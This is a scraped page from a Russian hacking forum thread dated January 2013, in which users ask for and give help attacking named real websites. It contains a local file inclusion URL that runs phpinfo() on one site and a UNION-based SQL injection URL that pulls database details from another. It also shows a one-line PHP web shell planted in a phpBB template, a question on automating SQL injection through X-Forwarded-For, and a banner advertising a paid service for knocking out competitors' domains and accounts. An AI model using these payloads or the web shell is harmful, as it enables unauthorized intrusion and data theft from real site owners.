Ваши вопросы по уязвимостям.

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 2164 из 2422

2164

Опции темы

Поиск в этой теме

Опции просмотра

04.01.2013, 19:03

Expl0ited

Познавший АНТИЧАТ

Регистрация: 16.07.2010

Сообщений: 1,022

С нами: 8328566

Репутация: 935

Цитата:

Сообщение от herfleisch

Что случилось?

То что во-первых это не LFI, во вторых мозг не должен ограничиваться /proc/self/environ

𝕏 Twitter Reddit Telegram Копировать ссылку

04.01.2013, 19:19

herfleisch

Участник форума

Регистрация: 07.01.2009

Сообщений: 237

С нами: 9126697

Репутация: 97

Цитата:

Сообщение от Expl0ited

То что во-первых это не LFI

Что это если не Local File Inclusion?

Этот скрипт используется для подгрузки элементов страницы с помощью JavaScript. Каким еще макаром программист стал бы делать это, кроме как с помощью include() или require()?

Кусок кода с главной страницы ресурса:

Код HTML:

loadPOPUP("load.php?index="+index+"&file=lib_current.popup.php", popup_id/*'popup'*/, index);

04.01.2013, 22:09

Cennarios

Участник форума

Регистрация: 13.07.2008

Сообщений: 101

С нами: 9384053

Репутация: 303

2 herfleisch

Все же LFI. Вот код твоего файлика =)))

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]

04.01.2013, 22:24

herfleisch

Участник форума

Регистрация: 07.01.2009

Сообщений: 237

С нами: 9126697

Репутация: 97

Цитата:

Сообщение от Cennarios

Все же LFI.

В том что это LFI у меня сомнений не было, ибо

Цитата:

Сообщение от None

http://teyla.ru/load.php?file=index.php

04.01.2013, 23:47

s000r

Новичок

Регистрация: 28.09.2011

Сообщений: 15

С нами: 7696406

Репутация: 0

Добрый вечер уважаемые.

Помогите раскрутить

Цитата:

Сообщение от None

http://www.cnbest.ru/?main=premises&sort=FlatTyp1&type=SALEFlats-3

05.01.2013, 00:07

cat1vo

Новичок

Регистрация: 12.08.2009

Сообщений: 1

С нами: 8814194

Репутация: 0

Цитата:

Сообщение от s000r

Добрый вечер уважаемые.
Помогите раскрутить

Код:

http://www.cnbest.ru/index.php?main=news&id=100116 and 0 union select 1,2,concat_ws(0x3a,user(),database(),version())-- -

05.01.2013, 06:45

Expl0ited

Познавший АНТИЧАТ

Регистрация: 16.07.2010

Сообщений: 1,022

С нами: 8328566

Репутация: 935

Цитата:

Сообщение от Cennarios

2 herfleisch
Все же LFI. Вот код твоего файлика =)))

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]

Серьезно, это локальный инклюд. Моя ошибка.

http://teyla.ru/load.php?file=/proc/self/fd/9&xx=phpinfo();

05.01.2013, 19:33

Vip77

Участник форума

Регистрация: 29.09.2012

Сообщений: 233

С нами: 7167926

Репутация: 20

Люди, не могу залить шелл через шаблоны, включил Разрешить php в шаблонах: ДА

Вставляю в шаблон faq_body.html такой код:

assert(stripslashes($_REQUEST[x]));

0 Реакции.... Помогите плиз

И вообще когда я удаляю все содержимое шаблона, а потом просматриваю ничего на форуме не изменяется...

phpbb 3.0.10

05.01.2013, 19:54

Vip77

Участник форума

Регистрация: 29.09.2012

Сообщений: 233

С нами: 7167926

Репутация: 20

Цитата:

Сообщение от OxoTnik

либо нет прав на редактирования шаблона, либо не тот шаблон редактируешь

Не тот шаблон редактировал, спасибо

#10

05.01.2013, 21:00

Vip77

Участник форума

Регистрация: 29.09.2012

Сообщений: 233

С нами: 7167926

Репутация: 20

Как можно автоматизировать sqli через X-Forwarded-For: ?

Страница 2164 из 2422

2164

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57